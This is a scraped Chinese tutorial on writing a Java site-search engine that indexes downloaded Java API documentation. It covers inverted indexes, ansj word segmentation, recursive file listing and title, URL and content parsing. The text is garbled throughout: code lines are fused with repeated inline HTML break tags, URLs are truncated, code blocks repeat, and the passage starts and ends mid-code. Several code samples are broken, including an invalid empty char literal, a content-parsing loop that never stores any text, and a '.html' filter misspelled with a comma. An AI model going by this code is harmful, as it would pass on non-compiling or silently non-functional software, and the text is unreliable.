100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for (File f:fileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println("开始解析"+f.getAbsolutePath());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parseHTML(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseTitle(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String name= f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseUrl(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseContent(File f) throws IOException {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //先按照一个一个字符来读取,以作为开关<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try(FileReader fileReader=new FileReader(f)) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //加上一个是否拷贝的开关.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> boolean isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //还需要准备一个结果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> StringBuilder content=new StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> while (true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //此处的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> int ret = 0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ret = fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(ret==-1) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> char c=(char) ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (FileNotFoundException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return "";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void parseHTML (File f){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出标题<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String title=parseTitle(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出对应的url<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String url=parseUrl(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //解析出对应的正文<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String content=parseContent(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void enumFile(String inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File rootPath=new File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //listFiles 能够获取到一层目录下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File[] files= rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for(File f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //根据当前f的类型判断是否递归。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果f是一个普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果不是就调用递归<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.getAbsolutePath().endsWith(".html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //通过main方法来实现整个制作索引的过程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> Parser parser=new Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
--- EOF --- 查看全部
编写一个Java站内搜索引擎系统
如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,那些属于全网搜索,我们这里做一个站内搜索。类似于我们对网站里的资源进行搜索。
一、搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。建议大家别爬虫要不然被告了。
这里我们可以使用Python,或者下载文档压缩包。
为什么要用索引呢?
因为爬的数据太多了,不索引,难道去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到
故根据名字选技能
倒排索引就是LOL里面谁有剑
蛮王无极剑圣剑姬
故根据特点选择英雄
二、模块划分1、索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2、搜索模块
1)调用索引模块,实现一个搜索的完整过程。
3、web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。
包含了前端和后端。
三、怎么实现分词
分词的原理
1、基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2、基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import org.ansj.splitWord.analysis.ToAnalysis;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.List;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class TastAnsj {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> List terms = ToAnalysis.parse(str).getTerms();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for (Term term : terms) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(term.getName());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
四、文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//读取刚刚文档<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class Parser {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private static final String INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public void run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //整个Parser类的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //1.根据路径,去枚举出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ArrayList fileList=new ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //第一个参数表示从哪里开始遍历 //第二个表示结果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private void enumFile(String inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File rootPath=new File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //listFiles 能够获取到一层目录下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> File[] files= rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for(File f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //根据当前f的类型判断是否递归。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果f是一个普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果不是就调用递归<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public static void main(String[] args) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //通过main方法来实现整个制作索引的过程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> Parser parser=new Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(f.getAbsolutePath().endsWith(",html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
这个代码就是只是针对末尾为html的文件,下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String name= f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。
具体代码如下很容易理解。
private String parseContent(File f) throws IOException {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //先按照一个一个字符来读取,以作为开关<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try(FileReader fileReader=new FileReader(f)) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //加上一个是否拷贝的开关.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> boolean isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //还需要准备一个结果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> StringBuilder content=new StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> while (true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //此处的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> int ret = 0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ret = fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(ret==-1) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> char c=(char) ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (FileNotFoundException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return "";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
这一模块总的代码块如下:
import java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.FileNotFoundException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.FileReader;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.io.IOException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//读取刚刚文档<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public class Parser {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private static final String INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> public void run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //整个Parser类的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //1.根据路径,去枚举出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ArrayList fileList=new ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for (File f:fileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> System.out.println("开始解析"+f.getAbsolutePath());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> parseHTML(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //3.把在内存中构造好的索引数据结构,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseTitle(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String name= f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseUrl(File f) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> String part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> private String parseContent(File f) throws IOException {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //先按照一个一个字符来读取,以作为开关<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try(FileReader fileReader=new FileReader(f)) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //加上一个是否拷贝的开关.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> boolean isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //还需要准备一个结果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> StringBuilder content=new StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> while (true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //此处的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> //如果读到文件末尾,就会返回-1,这是用int的好处;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> int ret = 0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> try {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> ret = fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> } catch (IOException e) {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> 